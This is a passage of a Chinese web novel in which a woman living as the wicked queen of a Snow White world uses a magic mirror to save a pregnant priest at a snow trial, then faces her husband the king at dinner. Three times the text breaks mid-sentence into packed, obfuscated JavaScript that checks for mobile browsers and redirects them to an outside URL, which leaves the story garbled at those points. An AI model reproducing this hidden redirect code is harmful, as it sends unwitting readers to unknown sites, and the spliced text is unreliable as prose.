海因里希闻声侧过身体，竟一扫之前的冷峻，露出极灿烂的笑容。以他俊美的容貌，卡特琳娜也不免有惊艳之感。里希顺势单膝跪地，握住王后的手，将她的手套脱去，行了一个极其郑重的吻手礼。 “我亲爱的王后，感谢您到场，您将见证冰雪审判的神迹。”他说着站起了身，却仍握着卡特琳娜的手。 这…… 卡特琳娜不免有些疑惑，她还不太懂这个世界的礼仪，不知道海因里希这是什么意思。 海因里希像是没看到她疑惑的眼神，用另一只空着的手在额前捏成拳头，然后沿着上身划出一个半圆，说道：“冰雪庇佑洛尔兰。” 俨然一副虔诚信徒的模样。 他这一系列举动让围观的民众沸腾了。卡特琳娜听到了其中最响亮的喊叫声：“冰雪护佑真爱，插足者必受审判！” 看来，国民中不少是她和海因里希的CP粉啊。 “冷。”卡特琳娜挣脱了海因里希牵着她的手，面无表情将手套重新戴上。 这个童话世界并不只是单纯的白雪公主的故事。 她一来就受到各方威胁，但现在她也知道了各方的弱点。海因里希的弱点很明显，比起儿子活得怎么样，他更想要保住洛尔兰。 海因里希却重新握住她，并用了很大的力气，甚至让她觉得有些痛。她皱着眉头，不满地看向他。 “伊桑死了，最高兴的人不应该是你才对吗？”海因里希嘴角上扬，眼神却愤恨不已，声音极低，是仅他们两人能听清的程度，“我是在帮你，你却背地里联络第七军，难道你想要跟我当场宣战？或者是，你反悔了，想要留下伊桑腹中的孩子！” 卡特琳娜瞪大眼睛，如遭雷劈。 腹，腹中的孩子？ 她立即在脑海中询问魔镜：“你为什么不告诉我！你只说了伊桑和以前的卡特琳娜有奸情，怎么不说他们还有个孩子！” 魔镜赶紧向她解释：“我尊贵的主人，您没有问我，我当然没有回答。是的，伊桑*沙穆腹中的孩子，拥有您尊贵的血脉。” 可恶。 伊桑腹中有她的孩子。 ？？？ 童话世界里的男人为什么会怀孕啊喂！ 7. 指控罪行（已修） 孩子。 一想到另一个身体里孕育着传承她血脉的孩子，她难免感到奇妙的欣慰和愉悦。作为大自然的生灵，她立即体会到那种发自本能的繁衍欲望的满足。 然而这具身体并不是自己的，卡特琳娜立即深呼吸将自己离谱的情绪波动压下去。 果然，海因里希才不是什么傻子，他是断定了卡特琳娜想要除掉伊桑，才顺水推舟谋划了这场审判婚姻第三者的戏剧。 “到底是怎么回事？你告诉我！”卡特琳娜在心里急切地向魔镜询问。 她没听到魔镜的回答，她知道是因为她的问题太宽泛，超出了问答的限度。于是她立即改变了提问的形式：“卡特琳娜为什么要除掉伊桑？海因里希又为什么要帮卡特琳娜？” 魔镜沉默了好几秒，才回答道：“我尊贵的主人，在现界范围内，您的过去已然消散，我无法读取您曾经的想法和目的，所以我回答不了您的第一个问题。 “第二个问题的答案很明显，从伊桑*沙穆来到洛尔兰的第一天起，海因里希就想要除掉他，只是碍于他全知神教神父的身份和您对他的庇护。当海因里希得知您也想要除掉伊桑之后，便计划了昨天的审判。由于您临时变卦，他不得不在今日对伊桑进行冰雪审判。” 看来，海因里希昨日故作威胁她的话，是演戏给她看，想让她放松警惕。他在掩饰自己已经知道卡特琳娜想要除掉伊桑，以及伊桑腹中怀有古奥斯家族血脉的事情。 国家、教会、军队、子女，太多矛盾和对立横亘在这对夫妻之间。 卡特琳娜没有回避海因里希看向她的敌视的眼神，她现在有着强烈的危机预感，这场冰雪审判可能并不只是审判第三者那么简单。 整齐的骑士团，在城外待命的第七军，召唤冰雪的天气术士，对她步步紧逼的国王。 “我要怎么才能安全逃离洛尔兰？”她询问魔镜。 魔镜没有立即回答，这个答案需要花费卡特琳娜支付不起的灵力。她真的觉得奇怪，卡特琳娜的身体素质也太差了点，稍微难一些的问题很快就会把灵力耗尽，完全没有原本故事里描述的恶毒巫婆的那种诡异的强大。 在她的沉默中，神父伊桑*沙穆被卫兵押送到了神教广场。 他双手被铁链绑在背后，棕褐色的卷发被寒风吹得凌乱，眼下厚重的青黑将他内心的憔悴公之于众。但伊桑*沙穆却挺直背脊、高昂头颅，没有屈从洛尔兰国王对他的指控，仍是坚定的全知神教信徒和传教者。他在经过卢*沙穆的雕像时停下脚步，嘴里念念有词，似乎是在虔诚地做祈祷。 卫兵尊重他的信仰，等他结束了向卢*沙穆的祈祷之后，重新押着他往前，让他在冰雪审判之剑的影子里跪下。 雪圣女手中的冰灯在寒风中略有晃动，但强烈的光线还是在地面投射出了审判之剑的巨大阴影。伊桑并不算矮，却被审判的阴影完全笼罩，让人看不清他的五官和表情。 卡特琳娜仔细观察他的肚子，仍不敢相信那样平坦的地方会孕育有着她血脉的孩子。 “我已对伟大的全知神之子卢*沙穆传达了我的遗言！”神父伊桑挺直背脊，几乎与审判之剑平行而立，他高声宣告，“我绝不接受冰雪的审判！即使我被审判处死，我也不认同冰雪诬告我的罪名！在我死之后，我的遗言将由伟大的全知神之子卢*沙穆向洛尔兰和拜厄乃至全世界全知神教的信徒公开，吾神永存！” 卡特琳娜听得两眼一黑，他这就是赤裸裸的威胁，若是卡特琳娜不能救下他的命，那她的假身份就会被揭穿！ 怪不得以前的卡特琳娜不惜牺牲亲生子也有除掉情夫的想法，伊桑*沙穆绝不是一个简单的男人。卡特琳娜想象不出他们之间到底发生过什么事情。为何这对昔日的情人之间出现了这种无法修补的嫌隙，要置对方于死地？ “我迫不及待想听你的遗言了。”海因里希冷漠地看着跪在阴影里的神父，轻哼一声，然后前臂侧摆向远处的布莱克示意。 深蓝色长袍的天气术士早已做好了所有前置准备，在得到国王的授意后立即念出了最关键的咒语：“主宰冰雪的伟大存在，新月宫殿的唯一主人，请降下您的慈悲，赐予凡人生命之源！” 话音刚落，惨白的天空立即被层层乌云遮掩，审判之剑的影子更加深幽，若是不去细看，都不能辨别阴影中还跪立着一个高大的男人。 海因里希从身边侍从的手里拿过一张制作精美的羊皮长卷，刚刚踏出一步便被卡特琳娜拉住手腕。 她看出来海因里希是想要作为受害者，向审判之剑指控伊桑的罪。他作为婚姻中无过错的男人，妻子与旁人有奸情甚至还存在婚外子，他有着足够的资格作为受害者指控伊桑犯有破坏婚姻的罪行。 “我才是受害者。”卡特琳娜心里砰砰直跳，低声说道，“让我来宣读对伊桑*沙穆的指控。” 这是她从魔镜处得知冰雪审判流程后想到的办法，只要是她作为受害者来指控，她就能够通过玩弄文字游戏让伊桑规避掉必死的结局。 前提是，冰雪审判一定是公平且正确的。 “你？”海因里希眯起眼睛，显然被她反复无常的态度搞迷糊了。 “不是你说的吗？是伊桑*沙穆勾引我、诱惑我，我当然是受害者，由我来指控最合适不过了。”卡特琳娜管理着自己的表情，尽量保持扑克脸，不希望海因里希看出她的紧张，“我早已想除掉他，但以昨天的情况来看根本不能让他真正死亡，我就是在等你对他进行冰雪审判。为了确保万无一失，我才联络了第七军，让伊桑的幽灵也跑不出洛尔兰。这样一来，他再没有路可以逃走，就算长了翅膀也飞不出去！” 既然海因里希已经知道她与第七军的联络，她也就不再隐瞒，搬到台面上来讲，胡说八道一通先稳住局势。 她瞥了海因里希一眼，露出轻蔑的神态来，道：“你以为昨天那样的火刑，就能真正置伊桑于死地？国王，你还太年轻了。” 海因里希神情略微震动，很快又恢复了那种面上带笑眼里带刀的表情。他将手里的羊皮长卷递给卡特琳娜，低声喃了一句：“是我小看你了，狠毒的女人。” 出门在外，人设是自己给的。 既然她是恶毒继母的人设，卡特琳娜觉得有必要践行彻底。她拿着羊皮纸站到了雪圣女的旁侧，等待冰雪落下。 风开始大起来，将冰灯吹得摇摇晃晃，但怪异的是，地面上的阴影永远都能将伊桑覆在其中。 羊皮纸上写着古希博文，这是北方民族希博人的原始语言。 在范维西三世登基后，洛尔兰的官方语言向拜厄看齐，使用现代狄埃语，他们的日常生活和文书公告都是狄埃语。但在冰雪神教相关节日活动中，大部分民众甚至王室会根据传统使用现代希博语，在涉及冰雪祭祀或冰雪审判等请求神降的严肃仪式中则必须使用古希博语。 卡特琳娜显然也会古希博文，但比起狄埃语来说更生疏一些，她费了好大劲儿才读懂羊皮纸上写的话。 “我海因里希*内华达*范维西，指控伊桑*沙穆犯破坏王室婚姻罪。罪人伊桑*沙穆在明知卡特琳娜*布瑞尔*范维西是本人妻子的情况下，引诱其通奸，事后被揭穿拒不认罪，毫无悔过之心。和平的缔造者，公平的维系者，冰雪在上，请降下审判！” 写得很简洁，很难去玩文字游戏，尤其是卡特琳娜对古希博文不太熟悉，让她不禁后背发汗。她把事情想得太简单了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632553|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她对这个世界的了解还太少。 云层压得更低了，让人喘不过气来，昏暗的光线和酷寒的冬风让神教广场显得格外压抑和紧张。 大雪开始落下，很快将广场铺上了一层白色的薄毯。 作为南方人的卡特琳娜很少见到雪，本应该悠闲地领略大自然的美景，却不得不手握指控苦恼地思索。 卡特琳娜不再逞强，询问魔镜：“告诉我，你之前的建议是什么？” 魔镜立即回答了她：“我尊贵的主人，只要您答应我，将您的小像放入项链坠里，我将立即告诉您我的建议。” 卡特琳娜没想到它会提这个要求，觉得没什么大不了，立即答应了：“好，我答应你的要求，快告诉我。” “其实要让伊桑*沙穆免除审判非常简单。为什么非要受害者亲自进行冰雪审判的指控宣读？因为同名同姓的人很多，即使是卡特琳娜*布瑞尔*范维西，这世界上也不一定只有一个。而您自己知道，您并非卡特琳娜*布瑞尔*范维西，布瑞尔是您曾经的闺名，即使您的丈夫亲切地称呼您的闺名，但实际上您只能是现在的您。” 原来。 答案这么简单的吗？卡特琳娜有些不敢相信。 她并不是真正的卡特琳娜，她是假冒的卡特琳娜。冰雪审判判断的依据是受害者、加害者和受害者宣读的指控词之间的魔法学联系，现在的她并没有与伊桑*沙穆存在奸情，所以她的指控显然是不成立的。 如果是海因里希来宣读指控，伊桑恐怕难以逃脱死亡的审判；但若是她这个假冒的卡特琳娜来的话…… “王后。”海因里希脸色沉下来，催促道，“你还在等什么？” 确实不能再等了，再不指控，她之前装的人设就会崩塌，她也是要面子的好吗。 “我，卡特琳娜*范维西。” 古希博文特别绕口，发音中有很多卷舌，她还得根据模板改变一下内容，让卡特琳娜读起来特别累。 “指控伊桑*沙穆犯破坏王室婚姻罪。罪人伊桑*沙穆在明知本人是国王海因里希*内华达*范维西的妻子的情况下，引诱本人通奸，事后被揭穿拒不认罪，毫无悔过之心。” 她为了不让人看出自己的紧张，只能读很慢，让语调显得没有起伏。 “和平的缔造者，公平的维系者，冰雪在上，请降下审判！” 话音落下，乌云中响起一声沉重的闷雷，落雪更猛烈了。 冰灯照射下的审判阴影开始摇晃，伊桑*沙穆挺直背脊闭着眼睛，等待寒冰将他冻结。他清楚知道自己犯下的罪行，但他毫不后悔。 唯一让他动摇的是腹中那活生生的胎儿，仅仅一个月大，还没有发育出完整的手脚和五官，也不知道有没有灵智。现在，他要与他的孩子一起沦陷在恶鬼遍布的冥界，而他的遗言将在全世界宣告，世人都会知道现在的卡特琳娜*布瑞尔*范维西是假的。 他等待着，等待着，回忆起人生的点点滴滴，他为自己是全知神的虔诚信徒而感到平静和自豪，他不惧怕任何降临在他身上的灾难或苦痛。 他只需要等待就好了。 当时间过去了很久很久之后，他重新睁开了眼睛，看到了眼前穿着华丽的宫廷长裙，披着厚重白色貂皮斗篷的惊世美人。她未戴兜帽，白色的雪花落在了她红棕色的发髻上，衬得她像是在风雪中熊熊燃烧的烈火。 无论过去多久，无论发生过多少不堪，再见到她那双碧绿如宝石的眼眸，他都难以避免产生燃烧的冲动。他愿意被那烈火点燃，烧尽后只剩下灰烬。 她朝他轻轻笑了，伊桑的心跳几乎停下来。 他意识到，审判已经结束。 冰雪判他无罪。 8. 婚礼油画（已修） 卡特琳娜悬着的心终于放下来，看来短时间内伊桑*沙穆的遗言并不会公之于众，她作为假冒的洛尔兰王后还可以继续假冒下去。 但是，伊桑*沙穆是怎么看出她的虚假身份来的？连她的丈夫海因里希都对此一无所知！ 天气术士召唤的大雪即将结束，雪花变得轻盈稀疏。圣雪女的冰灯彻底熄灭，审判之剑的阴影骤然消失。神父伊桑*沙穆虔诚的面容重新出现在神教广场，这一幕惹得所有围观的国民唏嘘不已。 海因里希也发现了冰雪审判的结果，他按捺住自己震惊的情绪，第一时间认为是王后在搞鬼。他上前一步，擒住卡特琳娜的手，极力克制着愤怒和冲动，低声说：“王后！你……” 卡特琳娜早已预料到了海因里希的反应，现在伊桑*沙穆威胁揭露她的危机解除，而她却不得不面对国王的质疑和指责。她必须先下手为强，让他无话可说。 卡特琳娜将手中的羊皮长卷扔下，双手握住海因里希的伸过来的手，做出震撼的表情来，打断了他想要说的话：“里希，伊桑*沙穆竟然逃脱了冰雪审判！这绝不可能是他一个人就能做到的，他肯定还有同盟！现在事情变得棘手，我们必须对此进行彻底的调查，查清楚背后究竟有什么样的预谋！” 围观的民众亲眼见到冰雪判伊桑*沙穆无罪，纷纷喧哗议论，又见远处的国王和王后亲密地握着手表情严肃地讲话。其中一个人跳出来，大喊了一声：“请判处第三者死刑！” “死刑！” “死刑！” “让他去死！” 其他人附和着。 高傲的神父仍跪在神教广场中心，他昂着头颅，呐喊了一声：“我，伊桑*沙穆，无罪！” 虽然冰雪判他无罪，但围观群众中不乏其他教会的信徒，对冰雪审判的意义并不了解。既然王后和国王都出面指认他的罪状，难不成还能是诬陷？他们议论的声音越来越大，即使有卫兵维持秩序，也显得混乱无比。 海因里希被握着的手绷紧了，他皱着眉头，露出狐疑的眼神，显然对她的话毫不信任。他的愤怒已经被完全遏制了下去，他必须找回理性。 “难道不是你吗？你是不是想留着他腹中的孩子？”海因里希另一只手握住卡特琳娜的腰，深蓝色的眼睛里布上血丝，几乎是贴着她的面在质问。 这不是理所当然的吗？卡特琳娜想，再怎么样，孩子是无辜的。 在她以前生活的地方，如果是怀孕的妇女犯罪，即使也要承担法律责任，但一般可以依法申请取保候审、监视居住等强制措施方式，同时最高刑罚不能判处死刑。 海因里希两次提到孩子的事情，让卡特琳娜不禁警觉，难不成他从始至终想要除掉的人并不是伊桑*沙穆，而是伊桑*沙穆腹中的孩子？ “当然不是。”卡特琳娜坚决否认，并且直视着海因里希的眼睛，“里希，那孩子就是一个意外。为了避免这个意外影响我们的国家，我才不得不除掉伊桑*沙穆。现在的国际局势你比我更清楚，你在费里特的外交官没有写信告诉你吗？凯特罗琳女王和教皇之间的大战只差导火索就会发生。我作为女王的女儿，即使是远在洛尔兰，也想要帮助她铲除掉教皇的亲信！我相信在这方面，我们的目标是一致的。” 卡特琳娜其实不太摸得准海因里希的立场，但从魔镜那里知道他被全知神教的教皇囚禁过，而且他作为冰雪信徒想要除掉伊桑*沙穆，海因里希应该是视教皇为敌。 敌人的敌人，那就是朋友。 海因里希果然放开了卡特琳娜的手，与她保持了一段距离。他应该是暂时相信了她的说辞，但又问：“那第七军……” “我让他们先退回去。”卡特琳娜立即说。 海因里希果然对城外等待的拜厄军队格外警惕，卡特琳娜也摸不准第七军是要做什么，但她最好还是先维持住表面上的和平。 这个承诺显然比之前任何一句解释更有用，海因里希将骑士团长安德鲁唤到身侧，说：“将伊桑*沙穆带下去！即使冰雪未判处他破坏王室婚姻罪，但他勾引、诱惑王后证据确凿，一定要好好看守住！” 确实证据确凿，连孩子都有了。如果等孩子生下来，是不是能定他的罪了？卡特琳娜不禁这样想。童话世界是怎么鉴定亲子关系，总不能是DNA吧？应该是某种魔法学的办法。 雪早就停了，这会儿竟有些放晴。 卫兵将伊桑*沙穆带走，开始疏散围观人群。 卡特琳娜在海因里希的注视下，对飞到她肩膀的乌鸦说：“退回肯古丽湖。” 听到她旅行了承诺后，海因里希将审判之剑收回，在骑士团的拥簇下往城外走，而雪圣女和天气术士布莱克一起在收拾仪式桌上的物品。 卡特琳娜对此感到好奇，走到那仪式桌前观察。桌上物品一大堆，但卡特琳娜仅仅被一支清香扑鼻的海蓝色干花吸引了注意力。她没见过这种模样的花，长得有些像水母，似乎蕴含着某种奇妙的魔力。 “这是什么？”她问一旁的雪圣女。 雪圣女完全没答她的话，像是装作没听见。卡特琳娜无语，她恶毒继母的形象这么令人厌恶吗？漂亮小姐姐都不愿意跟她说话了。 魔镜提醒她：“我尊贵的主人，冰雪神教的雪圣女自古以来都是由聋哑女来担任，她们不能听不能说，被认为是世界上最纯洁的存在。” 这下轮到卡特琳娜尴尬了，她只能丝滑地将目光转到天气术士身上。 这个叫布莱克的天气术士正在将自己的法器收纳至行囊内，察觉到卡特琳娜的目光，这才转过身来。 他不敢看卡特琳娜的脸，略低着头，回答说：“回王后陛下，这是亚连士雪冰花。” 他满脸胡子，整张脸都毛茸茸的，卡特琳娜猜想他应该年纪很大。她不太会跟人搭讪，又想要刺探一些情报。毕竟这是海因里希最信任的天气术士，她又问：“挺漂亮的，能送给我吗？” 她说着伸手想去触摸雪冰花，却被布莱克赶紧一拢收走了。他回答：“王后陛下，这是我们冰雪神教的圣花，您作为异教徒想拿走的话不太合适……” “好吧。”卡特琳娜摊手。 她也不是真的想要那支花，只是找机会搭个话罢了，“对了，你叫布莱克是吧？” “是的，陛下。”他恭恭敬敬回答道。 卡特琳娜找了个借口，说：“听说你对天气魔法特别在行，过两天我想在宫里放风筝玩，但最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632554|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近的风向乱七八糟让人烦躁。到时候我能召你入宫，帮我施行风向魔法吗？” “风筝？”布莱克显然没听说过这个单词。 卡特琳娜解释道：“那是我们费里特的时髦娱乐项目，需要恒定的风向才好玩。” “这……”布莱克犹豫不决，“若是国王准允，到时候臣再到宫中找您。” “好，一言为定。”卡特琳娜满意地点了点头。 这个布莱克看起来老实巴交，应该不是像国王那样狡猾阴险的人吧？ * 忙碌了一早上，卡特琳娜的肚子早已饿穿，即使面对着宫中餐桌上惨淡的食物，也还是来者不拒地都吃进了肚子里。 她想到伊桑还怀着她的孩子，忍不住向内务大臣威廉姆关心询问：“冬天粮食不足，那给监狱里的犯人都吃些什么？” 这种简单的问题，她就不想询问魔镜浪费自己的灵力了。 威廉姆回答道：“监狱关押的犯人的口粮一般由他们的亲属提供，若是没有亲属或亲属拒绝提供食物的话，会有每日一次的稀粥分放。” 介于伊桑*沙穆是全知神教在洛尔兰教区的神父，教会应该会负责他的饮食，卡特琳娜稍微放下心来，在这方面海因里希应该不至于饿着这个坏了孩子的男人吧？ 吃过午餐后卡特琳娜便回了自己的寝宫，发现白雪公主已经离开，华丽的大床被整理得像是展示在家居店的商品。 她让简妮等一众女仆侍从离开，翻箱倒柜寻找自己的小像——这是她答应魔镜的条件。 “这个世界该不会还没有人像照片吧？”她非常失望，以为即使没有相机，通过魔法之类的手段也应该有类似相机功能的东西才对。 她看着床头巨大的婚礼油画，陷入了沉思，毕竟项链坠不过指甲盖大小。难道要她自己画一个给魔镜？ “我尊贵的主人，这幅油画就很好，是费里特最负盛名的画师莫尼诗为您二位所做。他的笔触将您的美貌完美呈现，若是能将您的人像剪裁下来，我有办法能让它变作合适的大小，置于我所在的镜子之中。”魔镜主动向她提出建议。 “这是我和里希的结婚油画。”卡特琳娜觉得有些不太合适。 她看着这幅足足二米高、三米宽的油画，里面的新郎新娘不仅是容貌、身形还是气质，都登对非常。那时候里希更年轻一些，大概只有……十九二十岁？她看起来也非常稚嫩，估计十七八岁，简直是公主王子的完美搭配。 这配置放在任何童话故事里，都是完美的HappyEnding了。 “也不是不行。”卡特琳娜很快改变了主意，毕竟她不是真正的王后，她现在的目标是在这波橘云诡的洛尔兰活下去。 无论是她虐待白雪的过去，还是她让情人怀孕的意外，亦或者是她与拜厄军队联络的内幕，她知道她现在在旋涡的中心，不少人想要她死。 她得好好利用自己手中仅有的资源才行。 “你想让我怎么裁？”她将墙上巨大的油画拆了下来，放在了地上，“不过……在裁之前你得告诉我，你要我的人像做什么？” 她将项链坠从脖子上取下来，细心地察觉原本纯色的表面竟出现了细微的纹路。 9. 餐桌礼仪（已修） 卡特琳娜比海因里希年长十一岁，但任她怎么看，都不觉得婚礼油画中的新娘年近三十。那应该是十年前，他们在拜厄首都费里特王宫举行婚礼的时候，卡特琳娜二十九岁，海因里希十八岁。 油画中的卡特琳娜甚至还有些婴儿肥，脸蛋比现在稍圆一些，穿着拜厄特色的白色结婚礼服，戴着极复杂华丽的头纱，手里捧着巨大的浅香槟色玫瑰。 她旁边的海因里希将金色的头发梳成二八分，穿着深黑色的王室制服，胸口是女王授予的费里特独立大学的荣誉徽章，一只手扶着卡特琳娜捧花的胳膊，另一只手执着金色的手杖。 虽然看着般配，但却是一对貌合神离，连床都不会同的夫妻。卡特琳娜没有任何心理障碍，用小刀将油画布划开，仔细把自己的轮廓裁下来。 她都已经出轨神父，还让神父怀上孩子，这对政治联姻的夫妻的婚姻怕快走到头。 “我只是一面连实体都不存在的镜子。”魔镜魔性的嗓音中竟透露出些许落寞，“我尊贵的主人，您是我与真实世界唯一的链接。若是具有您形象的画面能一直映照在我的镜面之中，在时间的洗涤下，相信我很快能够借用您的形象在镜界中行走。” “镜界？”卡特琳娜将自己的人像提起来，注意到了魔镜提到的陌生词汇。 项链坠被打开，像是被施加了某种魔法，她手中的小像染上了一层光晕，然后逐渐变小，飘荡起来，覆在了项链坠镜面正对着的盖子里面。她仔细一瞧，项链坠中已经有一个她二十九岁那年模样（看起来像是十五岁）的小像，像是一张大头贴照片。 “镜界，即镜子里的世界，是现界的镜像存在，是魔法学史上的奇迹。”魔镜向她解释，“镜界在创世纪二百年左右被发现，据记载，一名永昼之城的古希博女战士在天湖的镜面映照中目睹了另一个自称来自镜界的自己步入现实。后来这位镜中人被当做邪异杀害，她的原身再没有在镜中见过自己的模样，并在不久后意外惨死。魔法界根据相关的典故和文献创造了镜子魔法，但教会认定镜子魔法是对现界的污染和侵蚀，全面禁止镜子魔法的使用和研究。” 卡特琳娜听得入迷，这个童话世界竟然也存在历史这种东西。 “截止目前，镜子魔法的相关书籍仅留存不足百卷，其中绝大部分由凯特罗琳女王藏于费里特王室图书馆典藏室，余下零星几卷流落民间难以寻觅。” “既然镜界这么神秘，你又怎么能够借用我的形象在镜界中行走？”卡特琳娜疑惑。 “我尊贵的主人，我即是镜子本身，我没有形体、没有依附，镜子在哪里，我就在哪里。只有借助您现实存在的形象作为参照物，我才有可能在境界中形成一个具体的点。” 魔镜这话说得有些深奥了，卡特琳娜半懂不懂，但她能抓住关键点。 “我还以为你是镜子里的幽灵，被困在其中，难道你没有名字吗？魔镜？你不是还记得你的故乡永夜之都？” 魔镜之前确实说过类似的话，它被困在镜子里了。它指甲盖大小的镜面竟映出了卡特琳娜小像的模样，然后用更加稚嫩的卡特琳娜特有的嗓音回答说： “我尊贵的主人，我能回答世间绝大部分有答案的问题，但我却对自己知之甚少。我不太清楚我是不是镜子里的幽灵，但我确实是被困在镜子里了。也许这是个诅咒，也许这是个契约，我知道的是只要回到我的故乡永夜之都，我身上的秘密应该就能够解除。 “至于我的名字，我尊贵的主人，你赋予我的名字即我的名字，您称呼我为魔镜那我便是魔镜，您称呼我为幽灵那我便是幽灵。” 看来这是一个没有名字的镜子。倒不是说想要讨好一面镜子，而是来到这个世界后只有这镜子与她说的话最多，以后也还要合作很长一段时间。 她笑了一声，不介意魔镜用她的形象和她的嗓音说话，毕竟那也并不是真正的她自己。 她说：“那我给你取个名字吧？” “名字？”魔镜有些吃惊，它未想过自己会有名字。 卡特琳娜借用了自己原来世界的镜子的英文发音，说：“你就叫米洛吧？你是男孩还是女孩？” 米洛未想过一面镜子还会有性别，一时间没有说话。 “既然你借用了我的形象，那就当你是女孩吧。”卡特琳娜看着镜中的自己，越看越满意，“米洛。” * 卡特琳娜本来还想要跟米洛探讨魔法的事情，根据她对《白雪公主》这个故事的了解，恶毒继母肯定是会各种各样邪恶的黑魔法。说不定她能够重操旧业，运用魔法保存性命，并且找到回自己的原本世界的办法。 但大概是这两天与米洛对话太多太频繁，她实在太困乏，竟躺床上睡过去了。 简妮来提醒她吃晚饭的时候已经入夜，她坐起身只看到简妮瑟缩着站在墙角，不敢看地面上被她裁剪得乱七八糟的婚礼油画。 “王后陛下，国，国王陛下在餐厅等您，一，一起用餐……”简妮躬着背，似乎恨不得趴到地面上去。 卡特琳娜午睡时都没有卸妆，这会儿蓬头垢面，但也饥肠辘辘，顾不得许多。她在铜镜前随意整理了一下仪容，披上毛裘大衣便往外走，还吩咐简妮说： “我把这画剪着玩儿弄得有点脏，你收拾一下找个地方把剩下的烧了吧。” 她走到房外，内侍大臣威廉姆已经等候着。威廉姆迎上来，扶过她的手，将她往餐厅引。威廉姆是她从费里特带到洛尔兰的亲信之一，是自己人。 “陛下，国王知道粮车被劫，您这几天没吃好，所以猎了一只熊送到厨房，和您共进晚餐……”威廉姆的声音很低，卡特琳娜很费劲儿才听清楚。 海因里希给她献殷勤来了？但看威廉姆的态度，这事儿不像那么简单。 “我听着。”卡特琳娜点点头。 “陛下，我怀疑他猎回来的黑熊，是您之前养的那一只。”威廉姆压低了声音，但仍不免情绪激动，“那可能根本就不是熊，而是，而是一个人！” ？？？ 卡特琳娜努力管理自己的表情，没有露出明显的疑惑，但还是有些懵了。她当即询问魔镜：“米洛，你知道他在说什么吗？” “我尊贵的主人，三年前第七军参与了十四团的剿匪行动，虽然没有将其剿灭，但抓回来了一个八岁的男孩。卡洛斯上将将男孩交给您处置，您说那男孩是由黑熊变的怪物，便使用魔法将其打回了原形。” 啊？？？ “后来那黑熊便一直被您圈养在笼子里，直到去年年底的一个月圆之夜，黑熊破坏笼子逃走，从此再不见踪迹。” 虽然故事很离奇，但令卡特琳娜感到欣慰的是，她果然会魔法！她得找机会把魔法的手艺给捡回来才行！ 不过…… 按照卡特琳娜恶毒的属性，难说那只熊到底是人还是真正的熊。怪不得威廉姆要提前告诉她一声，要是她不知情吃了那不知是人还是熊的食物，估计要患上饮食恐惧症。 还没来得向米洛询问当年的细节，卡特琳娜就已经走到餐厅。这时候餐品还没有摆上来，估计是熊肉的处理工艺比较复杂。 海因里希坐在长桌的一头，卡特琳娜又觉着困乏，打着哈欠自己拉开椅子坐在了国王的旁边。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632555|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你看我干嘛？”她与海因里希对视，不知道这人哪那种古怪的眼神看她是干什么。 “咳咳。”威廉姆走到她身后，提醒道，“王后陛下，请往这边就座。” 呃，是因为她位置没坐对？昨天只有她一个人用餐，所以是随便坐的，也没有人提醒过她。她都不知道跟国王一起用餐，要面对面坐在长桌的短边。 威廉姆帮她拉开了椅子，她重新坐下。 她与海因里希的距离隔了足足有十米远，这就是王室夫妻的用餐距离吗？ “王后。”海因里希主动先开口，“回城的路上我在林中遇到一只黑熊，想着你很久没有吃熊肉了，便猎了回来，让布莱恩以拜厄的风味给你烹饪享用。” 卡特琳娜抿了抿唇，笑道：“真是谢谢你了啊。” 她不知道海因里希是何用心，但威廉姆的提醒肯定是为她好，所以她斟酌了一会儿，建议说：“国王的心意不能我一人独享，虽然是夫妻，但更是一家人。来人，去叫玛利亚公主来餐厅，我们一家人一起共进晚餐。” 宫侍大多是卡特琳娜用惯的人，都没有不听从她的，立即有人应声后去寻公主。 虽然距离很远，但卡特琳娜还是看出海因里希的脸色起了不寻常的变化。如果照威廉姆说的那样，黑熊是曾经卡特琳娜养的小孩，那海因里希的目的又是什么？ “是了，我、王后、玛利亚是一家人啊。”海因里希几乎是一边用鼻子哼气，一边说话，“那王后，你、伊桑和他肚子里的孩子又是什么呢？” 这…… 卡特琳娜没想到他能扯到这上面来，不知道的听这话还以为是丈夫在吃出轨妻子的醋呢！但卡特琳娜知道，海因里希恨不能杀了她。 “自然什么都不是。”卡特琳娜镇定地回答，“伊桑是罪人，等你调查清楚他如何逃脱冰雪审判的事情之后，找机会处死他。我跟一个死人，是不会有任何关系的。” 海因里希沉默不语，用高脚杯喝着红酒。 洛尔兰的普通吃食不咋地，但葡萄酒真是一绝。尤其这应该是之前春夏时节酿的，放到了冬天再拿出来热着喝，喝得卡特琳娜整个人都暖了，连蘑菇浓汤和几根干叶子的前菜都变得美味许多。 